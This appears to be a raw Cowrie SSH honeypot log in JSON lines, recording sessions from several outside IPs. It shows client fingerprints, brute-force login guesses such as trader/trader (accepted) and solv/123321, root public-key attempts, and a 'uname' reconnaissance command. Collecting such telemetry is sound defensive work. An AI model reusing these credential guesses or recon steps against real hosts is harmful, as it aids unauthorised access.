{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47256,"dst_ip":"159.203.135.109","dst_port":22,"session":"177fb4242ec0","protocol":"ssh","message":"New connection: 2.57.122.208:47256 (159.203.135.109:22) [session: 177fb4242ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:04.620022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:04.806299Z","src_ip":"2.57.122.208","session":"177fb4242ec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:04.809825Z","src_ip":"2.57.122.208","session":"177fb4242ec0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:05.824923Z","src_ip":"2.57.122.208","session":"177fb4242ec0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:06.275375Z","src_ip":"2.57.122.208","session":"177fb4242ec0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:06.280624Z","src_ip":"2.57.122.208","session":"177fb4242ec0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:06.432573Z","src_ip":"2.57.122.208","session":"177fb4242ec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:06.437851Z","src_ip":"2.57.122.208","session":"177fb4242ec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35260,"dst_ip":"10.17.0.5","dst_port":22,"session":"64643b8d61e5","protocol":"ssh","message":"New connection: 80.94.92.184:35260 (10.17.0.5:22) [session: 64643b8d61e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:43.483092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:43.652500Z","src_ip":"80.94.92.184","session":"64643b8d61e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:43.655898Z","src_ip":"80.94.92.184","session":"64643b8d61e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123321","message":"login attempt [solv/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:44.645110Z","src_ip":"80.94.92.184","session":"64643b8d61e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:45.805884Z","src_ip":"80.94.92.184","session":"64643b8d61e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":59608,"dst_ip":"10.17.0.5","dst_port":22,"session":"69bd38bb4b5d","protocol":"ssh","message":"New connection: 176.65.132.190:59608 (10.17.0.5:22) [session: 69bd38bb4b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:59.982137Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:14:59.988603Z","src_ip":"176.65.132.190","session":"69bd38bb4b5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":23526,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdefddd2d542","protocol":"ssh","message":"New connection: 87.121.69.138:23526 (10.17.0.5:22) [session: fdefddd2d542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:02.347007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:02.355371Z","src_ip":"87.121.69.138","session":"fdefddd2d542","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:02.442162Z","src_ip":"87.121.69.138","session":"fdefddd2d542","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:03:da:b5:29:3a:a8:00:b9:66:1f:db:19:3f:4c:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzqmyC3GwFWPyD+5G3i72uumCCG9ZMtdoIrjhg/HoA7W116+KL5SxX/1IGVcPl6mleW7PisvHa+NTuxps4aYl0jsPsZVHniKRK2DC805tgAUvj+X4Zth9r67dFDhvI6dJjZdRPDUPWTdv/cFRgl4PYCpBUhokdi8xZKQvPU21hEo5RsoJLT7IGtHoh0PuDEKINupCcB+zoMec+bIcZh94ptBBIyuKCpI8WTrIjZqAJcSXbey+vNke9RWNrSG1AIU56wLyLeDYbFu3q7XaC1zHXVfmh18Wfwzu5CxztdW9VlyJGptdp01EvDWi1vO7LR6IeXmZgRq8OZlnuLsYVHiiB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:03:da:b5:29:3a:a8:00:b9:66:1f:db:19:3f:4c:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:02.834502Z","src_ip":"87.121.69.138","session":"fdefddd2d542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:03:da:b5:29:3a:a8:00:b9:66:1f:db:19:3f:4c:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzqmyC3GwFWPyD+5G3i72uumCCG9ZMtdoIrjhg/HoA7W116+KL5SxX/1IGVcPl6mleW7PisvHa+NTuxps4aYl0jsPsZVHniKRK2DC805tgAUvj+X4Zth9r67dFDhvI6dJjZdRPDUPWTdv/cFRgl4PYCpBUhokdi8xZKQvPU21hEo5RsoJLT7IGtHoh0PuDEKINupCcB+zoMec+bIcZh94ptBBIyuKCpI8WTrIjZqAJcSXbey+vNke9RWNrSG1AIU56wLyLeDYbFu3q7XaC1zHXVfmh18Wfwzu5CxztdW9VlyJGptdp01EvDWi1vO7LR6IeXmZgRq8OZlnuLsYVHiiB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:02.839854Z","src_ip":"87.121.69.138","session":"fdefddd2d542","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:f4:8c:62:f3:1a:b0:92:f2:7f:7b:55:b4:b2:93:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDY7T/lswJLvVShVejvA/Yk/vNpAbNe7K308yKR/JBzpTXPEGGXsSEv5vgKTfDSw155aEQj6p8Vi202AVJLvR+54XVOCu7aOTSTTKEQR4FjOd2Fh97dGPhlRe63ynFhqENNKHWDFy01I07TJ+vWr1A2c6CVhfh+oVaua2U10ShEJhrXYVOvhI0SV1xeWvpRir1Dt/0emXQOr6r1bGDPEJNiR68I18KuGf5hrbrAvFd/GTdsnqaAxGZuMY/8uWT2YW3P7hEKdAMAyoMRfTTB6/wchMkeXrEHIFj8d4e+DaOpb/0LGZKnLKdQv8PXdtej76SJhSY5pnFlrTUh26/kBTIYpirLL1cZ57fZ5bCjabLnE0B1pciX9oDFLO8QZUPwkcqIk7Q+v9i80rLzUQZ5b3lKn9UweUwCcj2KL9RgJ/jFbIpOZtLto1bQLTtrcoKziDBZHQNlLJnO2eNjfEy/8WJpkCi13Fd6HV5V6/grQImqp4q8D/Q29yQvGcPcNFxHR1iBoMcv4elfBPIt8WUYzrexPInpcSeIqSPv5L2XhP6o6E2nA7LYNQPjNm5hcDkrvRUl/mXTFaEK+h4FK+gSpqODfbgQw0sFyjGGS5XrqnDKj8oHMojSoABrPyUbBRrcheJJKrsrmaz+lQd9cr3RCYeXewJ73hBi8n5eXt/+3zpWvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:f4:8c:62:f3:1a:b0:92:f2:7f:7b:55:b4:b2:93:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:02.924729Z","src_ip":"87.121.69.138","session":"fdefddd2d542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:f4:8c:62:f3:1a:b0:92:f2:7f:7b:55:b4:b2:93:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDY7T/lswJLvVShVejvA/Yk/vNpAbNe7K308yKR/JBzpTXPEGGXsSEv5vgKTfDSw155aEQj6p8Vi202AVJLvR+54XVOCu7aOTSTTKEQR4FjOd2Fh97dGPhlRe63ynFhqENNKHWDFy01I07TJ+vWr1A2c6CVhfh+oVaua2U10ShEJhrXYVOvhI0SV1xeWvpRir1Dt/0emXQOr6r1bGDPEJNiR68I18KuGf5hrbrAvFd/GTdsnqaAxGZuMY/8uWT2YW3P7hEKdAMAyoMRfTTB6/wchMkeXrEHIFj8d4e+DaOpb/0LGZKnLKdQv8PXdtej76SJhSY5pnFlrTUh26/kBTIYpirLL1cZ57fZ5bCjabLnE0B1pciX9oDFLO8QZUPwkcqIk7Q+v9i80rLzUQZ5b3lKn9UweUwCcj2KL9RgJ/jFbIpOZtLto1bQLTtrcoKziDBZHQNlLJnO2eNjfEy/8WJpkCi13Fd6HV5V6/grQImqp4q8D/Q29yQvGcPcNFxHR1iBoMcv4elfBPIt8WUYzrexPInpcSeIqSPv5L2XhP6o6E2nA7LYNQPjNm5hcDkrvRUl/mXTFaEK+h4FK+gSpqODfbgQw0sFyjGGS5XrqnDKj8oHMojSoABrPyUbBRrcheJJKrsrmaz+lQd9cr3RCYeXewJ73hBi8n5eXt/+3zpWvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:02.929450Z","src_ip":"87.121.69.138","session":"fdefddd2d542","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:80:43:be:a3:78:16:c1:aa:96:4b:95:62:67:6c:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDA8qHrbLMlNeGYd44ztv36UaZT63msmDAzFjuyCQaBrs6O/XPxbaT8+8rFlBJvcA5sYAGRg/fYwKL9bhqPh8T8MO5RbSoRqmcD1biCpBeih9nIcm/q3Ee30dlpAUjqsBRy5OJ9eDHfz2Oh4r4P5Xur9e+WJxNBF7xvIiahXec1/C6TTAdy0PLIqFhYksvIUojPS0P7PNVEVW/yDdXjoTGQ1l6xqJ71rG4OeuqBPZCMcYmpg2Qb58n9yQGkLHZkoxdzrBe13ZykTWDnhXa5NnNm7fLyEraUM9Y0JjAHNK3Zyh3KK4PAAJquRwSTQFR0nJQ2tir6YTXsRFr8Xx6ObjaTHSnWD1FeQtQO+N3AjjLkdRGK/TuITv8vJ5T4opV8d+hHifIQ9ifZlKVhy2dhW/wnbPOQYKJNDf1qMO3Hp+4nwavPOPvyuW3KA8nEsbddFm3fKbbpR0VThKgpSqUP7Bya7bjpgDLTcuMtF4EkzBGU4iX84TkBWCUQOGZPU1oCynR+n3v2pkaKZGA1Smw0UUsg+b5MR2v3B2fTghWjP+rU4uKPnQeHCBQ1RnoalhwVAmN4R1DFhAODxlCmFfCxqJLPJYCw1OU/4NVPEs1R/7zBg7TjqkqPP6nC0L7YOQlNx/LUB9AL7ADU+ZPrm+FDHp4GAFFWqF94LxewGhelCvKSmw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:80:43:be:a3:78:16:c1:aa:96:4b:95:62:67:6c:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:03.014985Z","src_ip":"87.121.69.138","session":"fdefddd2d542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:80:43:be:a3:78:16:c1:aa:96:4b:95:62:67:6c:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDA8qHrbLMlNeGYd44ztv36UaZT63msmDAzFjuyCQaBrs6O/XPxbaT8+8rFlBJvcA5sYAGRg/fYwKL9bhqPh8T8MO5RbSoRqmcD1biCpBeih9nIcm/q3Ee30dlpAUjqsBRy5OJ9eDHfz2Oh4r4P5Xur9e+WJxNBF7xvIiahXec1/C6TTAdy0PLIqFhYksvIUojPS0P7PNVEVW/yDdXjoTGQ1l6xqJ71rG4OeuqBPZCMcYmpg2Qb58n9yQGkLHZkoxdzrBe13ZykTWDnhXa5NnNm7fLyEraUM9Y0JjAHNK3Zyh3KK4PAAJquRwSTQFR0nJQ2tir6YTXsRFr8Xx6ObjaTHSnWD1FeQtQO+N3AjjLkdRGK/TuITv8vJ5T4opV8d+hHifIQ9ifZlKVhy2dhW/wnbPOQYKJNDf1qMO3Hp+4nwavPOPvyuW3KA8nEsbddFm3fKbbpR0VThKgpSqUP7Bya7bjpgDLTcuMtF4EkzBGU4iX84TkBWCUQOGZPU1oCynR+n3v2pkaKZGA1Smw0UUsg+b5MR2v3B2fTghWjP+rU4uKPnQeHCBQ1RnoalhwVAmN4R1DFhAODxlCmFfCxqJLPJYCw1OU/4NVPEs1R/7zBg7TjqkqPP6nC0L7YOQlNx/LUB9AL7ADU+ZPrm+FDHp4GAFFWqF94LxewGhelCvKSmw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:03.019500Z","src_ip":"87.121.69.138","session":"fdefddd2d542","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:c3:39:1a:34:0c:72:95:ee:c2:f3:37:64:66:04:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDj1F82sTcN3xH0kqerJJF6fmW/4xTtbDIvwp177A3i7F9XxjP/0khp/Q5GkT+Dys/UVvsFii+Yt0LmmI//mKIeikN8RrDXIUViXhUyw27PXUFg77N51YEbBPNpbbr8W3ycclGvHcCjSAuAKlOFbH8fJRSFSQtSScI1ZI+b7WYK2B3yjTkGoNZWy41/WDHJnul93sNxdDoGHOCaKVwCJoIxnGu8Gqj8yR/7zNjATAsXBtVef2h7ORVb/ZYJQKXLmzz/poyjgipuf1+sfr8lDNPVTbr1PSbNiNJ8Mu41k1VhQzhcPRpgiF/X5zH53Y5zGaDC4o8Kewgj85zaM6iL2sKt6iC1D8bAQpqWCHd76vg/d6SpWGQhtxseVPT7LFVi2csRO/0vhU20XucRZcPybbI57GTNtDLcpVAdF2iT8plH38hseFfI9cKXfvAv/Y8MvpOTLP/x+I+ihauCGgTiqDGpZQB6WXxUNMOA7U6GtPj3EihFel5R03kxRHvBkmqh+9Eing7Sp1pRc84Q9vhZuUgSPFZjP38SPDFXq7zYUxXtOOz8BhGmgCs/yYqVdbctXiicwNQQqhDucwxTOzXgFnkkYk7B4Mva2fhPpgDaBVMc+GX8QuMbCF/ZuwT0oKrIYN+3j9l2aF7+K8SLanC8/rWLcOjNS+myLBCUVLIbn9tVCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:c3:39:1a:34:0c:72:95:ee:c2:f3:37:64:66:04:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:03.106723Z","src_ip":"87.121.69.138","session":"fdefddd2d542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:c3:39:1a:34:0c:72:95:ee:c2:f3:37:64:66:04:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDj1F82sTcN3xH0kqerJJF6fmW/4xTtbDIvwp177A3i7F9XxjP/0khp/Q5GkT+Dys/UVvsFii+Yt0LmmI//mKIeikN8RrDXIUViXhUyw27PXUFg77N51YEbBPNpbbr8W3ycclGvHcCjSAuAKlOFbH8fJRSFSQtSScI1ZI+b7WYK2B3yjTkGoNZWy41/WDHJnul93sNxdDoGHOCaKVwCJoIxnGu8Gqj8yR/7zNjATAsXBtVef2h7ORVb/ZYJQKXLmzz/poyjgipuf1+sfr8lDNPVTbr1PSbNiNJ8Mu41k1VhQzhcPRpgiF/X5zH53Y5zGaDC4o8Kewgj85zaM6iL2sKt6iC1D8bAQpqWCHd76vg/d6SpWGQhtxseVPT7LFVi2csRO/0vhU20XucRZcPybbI57GTNtDLcpVAdF2iT8plH38hseFfI9cKXfvAv/Y8MvpOTLP/x+I+ihauCGgTiqDGpZQB6WXxUNMOA7U6GtPj3EihFel5R03kxRHvBkmqh+9Eing7Sp1pRc84Q9vhZuUgSPFZjP38SPDFXq7zYUxXtOOz8BhGmgCs/yYqVdbctXiicwNQQqhDucwxTOzXgFnkkYk7B4Mva2fhPpgDaBVMc+GX8QuMbCF/ZuwT0oKrIYN+3j9l2aF7+K8SLanC8/rWLcOjNS+myLBCUVLIbn9tVCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:03.110965Z","src_ip":"87.121.69.138","session":"fdefddd2d542","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:ca:d4:af:61:7a:0f:55:23:ff:cd:11:81:b2:63:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDph30/YPQjwgmTIWQZQasgDRsFmxn+57DeKUdMcB+pv+4c7rtpdGyastJJ/IrsRL5CqKA0qe4MzIUQNjFYoY+8O7ieqA7FjRNoNdv8fUiNixw8PrROsJ92y1jVhuAtY1a9p2TC1NSnP0rjWz1iYP+QkUj2o1uLsWlgDSgeBv4Ff01e9qLwqI9hwnvfUtrOIWXmMgmJY2Ch90uULyQkZF1GLY5U88J7hT3sABDsB81Yat/snKUplc+LS9Y5NJf0qcldMZaG4VXhRThTGC3oC/fPMFYlefJDYSQVuk3iF62p4ffJIANAyB6C8U6ihm5blhwD49b+EY37exZMDxoT5ntGHUmpox1tFq5078AKCPecHrIHEGdfPjN9e7o4D2kJKVfeV8PsfJMO3F+0oArMquMtC2a+++OPxivr8yoqPjpDCTsmeWHkP/WKyguaWgjsoBX1H1IUlxOG0M/VpfNEIi8JrSNSMxo5aAEW/kgURJ7U0FLr+pvWBKjfLJiEd58KaY/ce9vLYO+QfTmO/I9lQGWoazPJ3haJ1645YsBQTIZGKQj0RJlfJ1PMAQjXl2J5QBlRxGkU2hlFRFNVBRpUHmrkqUtshkd2j4+uk3vuQuicvFgfSR5VCw4xJdzGqyv1LEUlfyn69maIwekpULnR2itlU5Yi/U8uP5EUzAmWzuHiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:ca:d4:af:61:7a:0f:55:23:ff:cd:11:81:b2:63:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:03.195460Z","src_ip":"87.121.69.138","session":"fdefddd2d542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:ca:d4:af:61:7a:0f:55:23:ff:cd:11:81:b2:63:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDph30/YPQjwgmTIWQZQasgDRsFmxn+57DeKUdMcB+pv+4c7rtpdGyastJJ/IrsRL5CqKA0qe4MzIUQNjFYoY+8O7ieqA7FjRNoNdv8fUiNixw8PrROsJ92y1jVhuAtY1a9p2TC1NSnP0rjWz1iYP+QkUj2o1uLsWlgDSgeBv4Ff01e9qLwqI9hwnvfUtrOIWXmMgmJY2Ch90uULyQkZF1GLY5U88J7hT3sABDsB81Yat/snKUplc+LS9Y5NJf0qcldMZaG4VXhRThTGC3oC/fPMFYlefJDYSQVuk3iF62p4ffJIANAyB6C8U6ihm5blhwD49b+EY37exZMDxoT5ntGHUmpox1tFq5078AKCPecHrIHEGdfPjN9e7o4D2kJKVfeV8PsfJMO3F+0oArMquMtC2a+++OPxivr8yoqPjpDCTsmeWHkP/WKyguaWgjsoBX1H1IUlxOG0M/VpfNEIi8JrSNSMxo5aAEW/kgURJ7U0FLr+pvWBKjfLJiEd58KaY/ce9vLYO+QfTmO/I9lQGWoazPJ3haJ1645YsBQTIZGKQj0RJlfJ1PMAQjXl2J5QBlRxGkU2hlFRFNVBRpUHmrkqUtshkd2j4+uk3vuQuicvFgfSR5VCw4xJdzGqyv1LEUlfyn69maIwekpULnR2itlU5Yi/U8uP5EUzAmWzuHiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:03.199320Z","src_ip":"87.121.69.138","session":"fdefddd2d542","protocol":"ssh"}
